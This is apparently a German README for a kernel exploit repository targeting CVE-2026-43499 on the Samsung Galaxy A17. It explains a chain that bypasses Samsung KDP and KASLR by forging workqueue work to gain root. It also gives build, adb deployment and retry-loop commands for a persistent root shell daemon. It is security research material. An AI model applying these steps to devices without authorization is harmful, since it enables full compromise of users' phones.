Kernel-Exploit für CVE-2026-43499 auf dem Samsung Galaxy A17, der über KDP-Bypass, KASLR-Wiederherstellung und gefälschte Workqueue-Ausführung Root mit persistenter Shell erlangt.
Vollständige Exploit-Kette vom Benutzer zu Root für CVE-2026-43499 („GhostLock") auf dem Samsung Galaxy A17 SM-A175F mit Android 16 / GKI 6.12.
Die Kette beginnt bei den öffentlichen GhostLock-Primitiven und endet mit einem Usermode-Helper, der ausgeführt wird als:
uid=0(root) gid=0(root) groups=0(root)
context=u:r:kernel:s0
Es startet außerdem eine persistente Root-Shell pro Boot über g4d / g4sh und beendet sich ohne Kernel-Panic.
📖 Vollständige technische Ausarbeitung:
https://www.mobilehackinglab.com/blog/cve-2026-43499-ghostlock-a17-root-shell
Forschungshinweis
Wir haben CVE-2026-43499 nicht entdeckt. Die Anerkennung für die ursprüngliche Schwachstelle und die IonStack-Forschung gebührt Nebula Security.
Dieses Repository dokumentiert unseren unabhängigen Port auf das Samsung Galaxy A17, die für Samsungs Kernel-Schutzmaßnahmen erforderlichen Änderungen und eine neue abschließende Ausnutzungsphase.
Nur für autorisierte Sicherheitsforschung und Bildungszwecke.
| CVE | CVE-2026-43499 — "ghostlock" |
| Gerät | Samsung Galaxy A17 (SM-A175F, mt6789) |
| GPU | Mali-G57 |
| Kernel | 6.12.23-android16-5-abA175FXXS3BZA5-4k |
| Ergebnis | uid=0(root) / u:r:kernel:s0 |
| Root-Shell | g4d-Daemon + g4sh-Client |
| Persistenz | Pro Boot |
| Exploit-Beendigung | Sauber, keine Kernel-Panic |
| Angetroffene Mitigationen | Samsung KDP, DEFEX, SELinux, PANIC_ON_OOPS, arm64 KASLR |
| Unterstützte Firmware | A175FXXS3BZA5 (Kernel 6.12.23) und A175FXXS6CZG1 (Kernel 6.12.38, SPL 2026-07-05) — beide geräteverifiziert, gleiche Kette |
Die ursprüngliche ghostlock-Forschung liefert die Einstiegs-Primitiven:
pselect reclaim
↓
fake rt_mutex_waiter
↓
constrained rb-tree pointer write
Auf dem Galaxy A17 funktioniert jedoch das übliche Endspiel zum Patchen von Credentials nicht.
KDP schützt credential-bezogene Kernel-Daten auf EL2.
In diesem Build wurden Versuche, Task-Credentials zu ändern, stillschweigend verworfen, selbst wenn die Zieladressen korrekt waren.
Anstatt also Root-Credentials zu schreiben, sorgt dieser Port dafür, dass der Kernel mit vorhandenen privilegierten Credentials ausgeführt wird.
Die letzte Stufe:
constrained kernel write
↓
physical read/write channel
↓
KASLR slide recovery
↓
discover system_wq / cpu_pwq
↓
forge work_struct
↓
call_usermodehelper_exec_work
↓
/system/bin/sh
↓
uid=0(root), u:r:kernel:s0
Ein gefälschtes Arbeitselement wird in einen gebundenen system_wq-Pool platziert und mit einem ptmx-Allokations-/Freigabe-Sturm ausgelöst.
Der daraus resultierende Usermode-Helper wird mit Init-Credentials ausgeführt.
Es ist kein Überschreiben von Task-Credentials erforderlich.
userspace shell (uid 2000)
│
▼
pselect / PI-futex primitive
│
▼
constrained aligned kernel pointer write
│
▼
forged pipe_buffer channel
│
▼
arbitrary physical read/write
│
├── recover KASLR slide
│
├── locate system_wq / cpu_pwq
│
└── prepare forged work_struct
│
▼
queue usermode-helper work
│
▼
ptmx storm wakes worker
│
▼
/system/bin/sh runs with init creds
│
▼
uid=0(root)
│
▼
g4d → @ghostlockd → g4sh
Im Vergleich zum öffentlichen OnePlus-Port wurden die meisten Stufen nach dem anfänglichen Write-Primitive überarbeitet.
Der Endspiel-Abschnitt zum Patchen von Credentials wurde durch ein gefälschtes Workqueue-Element ersetzt, das auf den Ausführungspfad des Usermode-Helpers abzielt.
Dadurch wird das Schreiben in geschützte cred-Strukturen vollständig vermieden.
Der bisherige Ansatz zur Verankerung über Perf-Events war auf diesem Gerät unzuverlässig.
Stattdessen verwendet der Exploit drei verschobene Zeiger aus dem boot_id-ctl_table-Eintrag:
procname
data
proc_handler
Alle drei werden gegengeprüft, bevor die Folie akzeptiert wird.
cpu_pwq wird durch Durchlaufen von:
system_wq → pwqs
anstatt sich auf einen festen gerätespezifischen Offset zu verlassen.
Der ursprüngliche Kanal hinterlässt kollaterale Änderungen am struct page-Zustand, die während des Teardowns PANIC_ON_OOPS auslösen können.
Die aktuelle Kette vermeidet den Teardown-Absturz und wurde nachgewiesenermaßen nach dem Erlangen von Root sauber beendet.
Der Usermode-Helper startet:
g4d
die auf dem abstrakten Unix-Socket lauscht:
@ghostlockd
g4sh verbindet sich damit und bietet entweder eine interaktive Root-Shell oder die Ausführung einzelner Befehle.
/data/local/tmp/a/g4sh
/data/local/tmp/a/g4sh -c "id"
Dieses Ziel kombiniert mehrere Schutzmechanismen, die gängige Techniken zur Ausnutzung des Android-Kernels aushebeln:
Dies erzwang eine andere Exploit-Strategie als die übliche:
arbitrary RW → patch cred → disable SELinux
Stattdessen:
arbitrary RW → recover runtime state → forge kernel work → execute usermode helper
Erfordert ein aktuelles Android NDK.
make # BZA5 firmware (kernel 6.12.23)
make czg1 # CZG1 firmware (kernel 6.12.38): per-target slide anchors,
# offsets are uname-keyed at runtime
Erzeugt:
ghostlock # exploit (ghostlock-czg1 for the CZG1 build)
g4d # static root-shell daemon
g4sh # root-shell client
Die Binärdateien übertragen:
adb push ghostlock /data/local/tmp/a/g4
adb push g4d /data/local/tmp/a/g4d
adb push g4sh /data/local/tmp/a/g4sh
adb shell 'chmod 755 /data/local/tmp/a/g4 /data/local/tmp/a/g4d /data/local/tmp/a/g4sh'
Führe die reboot-bewusste Exploit-Schleife aus:
./scripts/rr_loop4.sh
Nach ROOTED:
adb shell /data/local/tmp/a/g4sh
Oder führen Sie einen einzelnen Befehl aus:
adb shell '/data/local/tmp/a/g4sh -c "id"'
Erwartetes Ergebnis:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
Der Primitive ist probabilistisch und stark von den Boot-Bedingungen abhängig.
Eine erfolgreiche Ausnutzung kann wiederholte Versuche erfordern. Das enthaltene Skript rr_loop4.sh übernimmt Wiederholungsversuche und Neustartzyklen automatisch.
Dies ist ein Forschungs-Exploit, kein sofort einsetzbares One-Shot-Rooting-Tool.
qemu-e2e/ enthält eine End-to-End-Validierungsumgebung, die den extrahierten Samsung-Kernel verwendet.
Die Umgebung wurde verwendet, um Folgendes zu testen:
g4d / g4sh-RoundtripsDas Samsung-Kernel-Image selbst ist nicht enthalten.
Siehe:
qemu-e2e/
für Einrichtungsanweisungen.